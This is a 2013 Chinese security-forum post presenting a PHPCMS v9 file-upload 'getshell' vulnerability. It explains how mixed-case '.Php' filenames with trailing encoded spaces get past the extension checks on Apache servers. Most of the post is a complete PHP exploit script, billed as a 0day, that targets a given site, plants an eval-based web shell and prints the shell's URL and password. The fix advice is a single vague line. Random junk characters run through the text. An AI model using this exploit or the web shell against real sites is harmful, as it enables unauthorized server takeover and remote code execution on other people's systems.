找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2520|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
$ Y2 {, X$ R2 |! H8 U' H9 u; E" B1 [  b' @* y1 P9 \
简要描述:3 j* ^5 B8 J- P! r
2 y) N6 t) Y5 k' F$ Q% h
phpcms v9 getshell (apache)  Y& g" U! o4 C( Q4 S' |
详细说明:' o7 l. x4 \. h  ]! F) a  Q5 \

/ J% e: P1 {# H漏洞文件:phpcms\modules\attachment\attachments.php
* A; t: g4 q: K6 M! Z: k: [
7 h8 l* B/ S& [0 r1 c. O) spublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } ; |' q2 W$ \1 s4 r- L! j* K6 h
后缀检测:phpcms\modules\attachment\functions\global.func.php$ Q+ ?, C- t- |

+ N1 D) }# m  E8 g3 M+ M+ w
0 T1 ?* ~1 X6 j; [
; }/ j! B" H6 U' {5 cfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
+ b' }2 m+ n1 U2 ^, N6 o# t) i' F$ T
& `# e' j0 [; `, I" ~4 N: m0 L关键函数:
. l. b+ ?6 ]9 Y. `& M- ~) [9 G
! M! N) e! u% x
0 B  V! _% ?. i. \8 A" U" ?8 R
8 D4 X: i" L. ~function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  ; K+ ]7 C; ]' J

# U1 ?! d! E5 Q3 u  Fileext函数是对文件后缀名的提取。
, J; X  }; `5 D6 ~+ k8 u# D! y  b0 J) E根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php: K1 I  U9 N* h
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。7 C) V" j* S; v, k$ I+ i6 }
我们回到public function crop_upload() 函数中
/ W/ \& D0 J# q) m# rif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();+ x: n  l, j8 k" k5 b- x6 i% D. ?
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数* T% R$ ?- L1 R  G5 ?
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。3 S5 f4 c9 p% a4 S8 H6 K
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。3 `- k5 r7 L% w( \4 |, }( u
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
9 `$ y1 X6 \9 r( {3 a( k& o看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。" {. f1 D1 ^5 V1 z
漏洞证明:$ H4 ?  x, ]/ j" X0 u$ m

& i( E" j4 Q- Oexp:% l7 b( v! A" o# l- k! x
4 [: G7 E  O5 `. d3 ~% B
<?php
5 D% ]' t- Y0 b, j1 ~error_reporting(E_ERROR);
. ]% l- h, k' N$ W4 M0 j# Rset_time_limit(0);
# _: |% C4 a6 g* _2 q$pass="ln";5 ^$ J" I$ z2 n, C5 d
print_r('& l, R6 k5 p' c/ K  L" J
+---------------------------------------------------------------------------+. i1 r1 E2 f! i) s% C% M; m2 K2 y
PHPCms V9 GETSHELL 0DAY ( ?( p) [9 q# \' J  H& z! r
code by L.N.
) L. g1 o- U8 ^" {, y1 J$ x" T+ V: x0 k* s
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net6 c) B# W" b! l5 u
+---------------------------------------------------------------------------+
) ^& w! @& G5 d, G; J- o');
: r6 W& Q) q! e5 m+ e9 Nif ($argc < 2) {
2 M( C* [* z0 f# r4 ^5 yprint_r('5 V7 h4 M- F% q0 J4 M; Y' R  h8 A% k
+---------------------------------------------------------------------------+) p1 `8 n# W0 o% O. K
Usage: php '.$argv[0].' url path
. A+ {) e! k- z7 T! e4 l4 \' j. I7 s, [! |7 K$ ?; Q9 _
Example:2 y+ n1 b# E- P" m1 R: t" u$ w: G
1.php '.$argv[0].' lanu.sinaapp.com: V: o5 j6 Z$ q9 U( f  G
2.php '.$argv[0].' lanu.sinaapp.com /phpcms) c; a7 _* q% K" f
+---------------------------------------------------------------------------+) s5 w; Y/ x$ \6 W: g, m5 k" f
');
+ }+ {/ {7 h  {* ]( E; `4 c2 Jexit;
6 e$ D: I2 v/ y2 T1 Z' T' q/ W9 P}/ d. V$ @$ m3 H# C
6 c  U6 K" ?' _5 D6 Y' U" J
$url = $argv[1];5 V# C2 d9 ^# _- f8 r
$path = $argv[2];" ~( Q2 g  T4 \/ K& J& v
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';# n8 t3 F) M" V9 L, e) f& t: y
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';* e$ S4 P+ X) Q
if($ret=Create_dir($url,$path))  u* ~- u) e5 L- T9 m! Q7 I4 \$ @: r
{
1 t- i0 \- Z  m$ G) J, q//echo $ret;
( L5 g0 m: M, [3 H- T$pattern = "|Server:[^,]+?|U";. P% e" y( o4 e  z" `: _5 n- m& k
preg_match_all($pattern, $ret, $matches);, p+ R( J7 Q: D7 o/ Y
if($matches[0][0])6 Q& p) d0 ]9 ~  d, h
{
; A0 q0 E- o* X2 Z' N* Qif(strpos($matches[0][0],'Apache') == false)
, g/ v: T" o; y* o1 C, Z{
" y' `: ~& _; d& k! mecho "\n亲!此网站不是apache的网站。\n";exit;3 h1 ^) m" e1 P3 j6 d: p2 V
}7 P( m7 e$ `) @! d$ {4 j
}( r/ k% h3 K) B5 I2 W
$ret = GetShell($url,$phpshell,$path,$file);0 f$ W' D! F' W- z- e
$pattern = "|http:\/\/[^,]+?\.,?|U";  I  S9 O3 d! x
preg_match_all($pattern, $ret, $matches);- R% u: H! @8 J3 B. c: r- A" Y
if($matches[0][0])
3 N6 k3 N; d* k* P& N9 s+ Y{
' l  l! n  d% ]8 g2 t& Aecho "\n".'密码为: '.$pass."\n";7 z" c3 m6 V9 \1 Q7 Y6 \& h9 F4 N7 v
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;& r* b6 y1 v  }$ d; y( _$ p) T
}
! R: M9 N( C& S* p, Selse
3 {8 B) S$ A0 O8 z{
2 ]$ b3 n' b2 `$pattern = "|\/uploadfile\/[^,]+?\.,?|U";! Z2 N: m) C6 {+ c* n; z, L
preg_match_all($pattern, $ret, $matches);
& A' C8 y# B" `/ s3 e3 ?3 k$ D( c) L+ Sif($matches[0][0])$ ^" n" H+ G: o( \3 U
{" @( _. o- y$ e$ h) ^) J0 ]" g
echo "\n".'密码为: '.$pass."\n";
  i4 Y2 b: [, c% {echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;6 d* q( X+ f0 r) ^" j5 U9 [  }
}! J) [$ h& n! L# R
else. z8 I  I6 U/ D
{* O& r' h$ f" L- r% B) `& |8 ~8 a
echo "\r\n没得到!\n";exit;
: W" g% N" B9 h. E8 c}8 H1 i$ p& z) T6 s. _
}
+ }/ @6 V6 j/ v4 c: m$ l. k* [}
; `( H1 n7 b. g9 B4 g
2 {& _/ R6 ^6 n) u+ jfunction GetShell($url,$shell,$path,$js)8 ^7 z! S+ W- y/ t, e/ [
{
3 V( I, ~  v2 N2 Z# v$content =$shell;
9 _$ G4 M/ ?9 S) a% c$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";  e' x8 w! d$ h: z3 M, p! [
$data .= "Host: ".$url."\r\n";; M. B3 H- g( v
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
6 q: D# _; g& m2 a* @$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 h" g  D' m/ ~2 R
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
( Y$ x! R" p6 l5 z" z& G5 E, w$data .= "Connection: close\r\n";
. [! z! z1 F( ?8 E6 W2 c& ?$data .= "Content-Length: ".strlen($content)."\r\n\r\n";) L9 R. C" x+ H, }- }8 C6 R8 M
$data .= $content."\r\n";& r" }8 X3 u9 O: i: B+ s
$ock=fsockopen($url,80);
4 a. u2 d1 n4 Y8 g8 d5 X% oif (!$ock), `! U( e/ z. l, R. r
{
1 N9 u- z+ H" S( k; Pecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;) G) x; H+ x/ a+ C: J. E6 f$ ]: V
}+ P( K- z# I$ E" M' s2 z
else
/ _! d+ n0 l  Z1 M2 H+ }6 J$ i{% a. b0 c/ w# ?4 O9 Z
fwrite($ock,$data);, A1 l' D% f7 w- P0 |& N( ]. A
$resp = '';
9 T5 G2 C9 ?# G" M8 y$ dwhile (!feof($ock))) Z* j: V) D+ F' `( z
{0 S# n/ D! f# `  K+ z, Z
$resp.=fread($ock, 1024);5 M' V& T7 o: {7 [0 L& k
}9 W8 C9 n. w. R2 L- D0 {
return $resp;
  z) u& U9 `5 s7 D4 n( T}, M; F! Y! H! V( R( D% K7 G, n
}2 I& R: I+ K) S: |

, B" U; z$ L& {+ R3 d. Y& U/ Gfunction Create_dir($url,$path='')% z5 K. p1 K" y- U5 r
{
) U  ~1 b. B4 G. H% l$content ='I love you';
7 s7 M( @7 v4 M# N( o9 E8 P4 B4 L0 g  |$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";/ J, C5 G' l- {+ T4 I$ D
$data .= "Host: ".$url."\r\n";
1 g8 y" [+ N# D$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
7 K% ~4 P$ N. h$ Q* U/ G7 l$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";  e  t1 l0 L& n! P; M! K
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
! ?# ?7 q. [4 {$data .= "Connection: close\r\n";
" O' A) u5 J- G! x$ u! Q% O0 r# Z$data .= "Content-Length: ".strlen($content)."\r\n\r\n";- G3 f2 u5 M) }" I
$data .= $content."\r\n";
$ {; N' A  {2 K" \2 a3 M$ock=fsockopen($url,80);
+ Z; [' q. H8 @# D/ {if (!$ock)- t( \5 f2 J/ g- t- R
{
$ G) o' I- A' T1 |6 Wecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;  W3 d! o+ t: n- S1 L
}. T) o7 m! `0 m7 V# L# W
fwrite($ock,$data);
0 u! t: Q8 `( `$ }- C$resp = '';/ B2 Q7 o( G& o, v: t2 G
while (!feof($ock))
( f( E8 l& Z* W{+ E1 O0 U( f& Q5 J0 N  ~
$resp.=fread($ock, 1024);" @$ W" ?( S' b- v, D; E. M
}2 }! V) K: d  t! j2 F6 v
return $resp;( ?$ U# Z9 E8 U( l
}! g! U1 A9 a' r9 S
?>
: D- [$ J# f. w- ?! Z
9 B* T6 n0 o0 u& U4 o修复方案:
' e" ], C' f; A4 c% X$ `' L/ ~( i6 B  U- K/ }6 J
过滤过滤再过滤+ C' d  J2 J! ^# c- G" A1 o1 {

; H* w% G) a7 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表